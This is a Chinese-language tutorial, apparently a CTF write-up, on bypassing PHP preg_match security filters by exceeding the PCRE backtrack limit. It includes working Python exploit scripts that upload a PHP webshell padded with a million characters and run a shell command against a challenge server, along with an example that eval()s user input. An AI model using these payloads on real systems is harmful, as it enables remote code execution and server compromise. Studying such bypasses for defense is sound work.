PHP利用PCRE回溯次数限制绕过某些安全限制
PHP利用PCRE回溯次数限制绕过某些安全限制
参考于(https://www.freebuf.com/author/phithon)
正则表达式
正则表达式是一个可以被「有限状态自动机」接受的语言类。
「有限状态自动机」,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。
而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。
回溯的具体过程
类似正则表达式<?.[(`;?>].,而输入的是<?php phpinfo();//aaaaa 正则匹配的执行流程是
正则表达式在匹配过程中首先对字符进行匹配,但当匹配到*时,匹配到了最后结尾,这是因为*.能够匹配任何一个字符,所以会匹配到结尾,但是这样肯定是不符合正则匹配的机制的,因为.*后面还有一个[(`;?>]。所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……
最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。
图片中回溯了八次。
PHP 的 pcre.backtrack_limit 限制利用
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:
可以看到回溯次数限制是100000次,如果回溯次数超过限制返回的不是0和1,而是false
preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制:
我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。
exp:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
例题:
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>
exp:
import requests
url = 'http://1.14.71.254:28029/'
payload = '{"cmd":"?><?=`tail /f*`?>","+":"' + '+' * 1000000 + '"}'
# print(payload)
res = requests.post(url=url, data={"letter": payload})
print(res.text)